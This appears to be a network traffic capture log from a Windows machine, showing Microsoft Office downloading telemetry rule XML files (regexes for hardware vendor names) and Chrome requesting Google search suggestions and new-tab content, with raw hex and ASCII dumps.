2024-11-18 07:55:25 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:25 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: bd894aa1-501e-008f-0bc4-379054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T075525Z-16547b76f7fz92z5hC1DFWmdx800000003tg000000007r93 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 07:55:25 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.7	49731	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:25 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 07:55:25 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:25 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 165666ad-801e-008c-1f12-377130000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T075525Z-164f84587bf6n6jwhC1DFW90fn00000004qg0000000070ut x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 07:55:25 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.7	49729	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:25 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 07:55:25 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:25 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 23cdba65-001e-0082-460d-375880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T075525Z-164f84587bfh9nvdhC1DFWmce000000003dg000000007vp3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 07:55:25 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.7	49728	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:25 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 07:55:25 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:25 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 6e95107e-e01e-0099-2a9b-37da8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T075525Z-1866b5c5fbb7km9phC1DFWr2sc00000004bg000000005zen x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 07:55:25 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.7	49733	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:26 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 07:55:27 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:26 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 0687e1b8-601e-0001-3ef1-36faeb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T075526Z-164f84587bf5rpzqhC1DFWmra800000005gg000000007kxq x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 07:55:27 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.7	49732	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:26 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 07:55:27 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:26 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: c577e9bc-101e-00a2-20c6-379f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T075526Z-164f84587bfsqsthhC1DFWh63000000004q0000000002fgp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 07:55:27 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.7	49734	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:26 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 07:55:27 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:26 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: fa408a18-501e-0064-15b8-371f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T075526Z-1866b5c5fbbzzh8chC1DFWdrc4000000054g00000000a8t7 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 07:55:27 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.7	49735	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:27 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 07:55:27 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:27 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 913984e0-001e-0017-7a9b-380c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T075527Z-16547b76f7fjx5nrhC1DFW4dsc00000002ng00000000b1e1 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 07:55:27 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.7	49736	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:27 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 07:55:27 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:27 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: f23710ee-101e-000b-743d-385e5c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T075527Z-164f84587bfbvgrghC1DFWbs7w00000005kg00000000044e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 07:55:27 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.7	49740	142.250.184.196	443	316	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:27 UTC	595	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIlaHLAQiFoM0BCNy9zQEIucrNAQii0c0BCIrTzQEIpNbNAQj01s0BCKfYzQEI+cDUFRj1yc0BGOuNpRc= Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-18 07:55:27 UTC	1266	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:27 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-HuGUAnfkJmIo-i03t-vV8g' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-18 07:55:27 UTC	112	IN	Data Raw: 33 32 61 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 61 75 73 74 69 6e 20 72 65 67 69 65 72 20 66 72 65 65 20 64 69 76 69 6e 67 20 61 63 63 69 64 65 6e 74 22 2c 22 6e 79 74 20 73 74 72 61 6e 64 73 20 68 69 6e 74 73 20 6e 6f 76 65 6d 62 65 72 20 31 37 22 2c 22 73 6f 75 74 68 77 65 73 74 20 61 69 72 6c 69 6e 65 73 20 70 6c 61 6e 65 20 62 75 Data Ascii: 32a)]}'["",["austin regier free diving accident","nyt strands hints november 17","southwest airlines plane bu
2024-11-18 07:55:27 UTC	705	IN	Data Raw: 6c 6c 65 74 22 2c 22 6d 6f 6e 6f 70 6f 6c 79 20 67 6f 20 66 72 69 65 6e 64 73 68 69 70 20 70 61 79 73 20 72 65 77 61 72 64 73 22 2c 22 6e 65 74 68 65 72 6c 61 6e 64 73 20 68 75 6e 67 61 72 79 20 66 6f 6f 74 62 61 6c 6c 22 2c 22 72 65 64 20 6f 6e 65 20 6d 6f 76 69 65 20 62 6f 78 20 6f 66 66 69 63 65 22 2c 22 64 65 61 6c 73 20 62 6c 61 63 6b 20 66 72 69 64 61 79 22 2c 22 74 65 78 61 73 20 63 6f 76 65 6e 61 6e 74 20 6d 61 72 72 69 61 67 65 20 62 69 6c 6c 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 Data Ascii: llet","monopoly go friendship pays rewards","netherlands hungary football","red one movie box office","deals black friday","texas covenant marriage bill"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"Chg
2024-11-18 07:55:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.7	49741	142.250.184.196	443	316	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:27 UTC	353	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.7	49742	142.250.184.196	443	316	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:27 UTC	498	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIlaHLAQiFoM0BCNy9zQEIucrNAQii0c0BCIrTzQEIpNbNAQj01s0BCKfYzQEI+cDUFRj1yc0BGOuNpRc= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-18 07:55:27 UTC	1018	IN	HTTP/1.1 200 OK Version: 696014727 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Mon, 18 Nov 2024 07:55:27 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
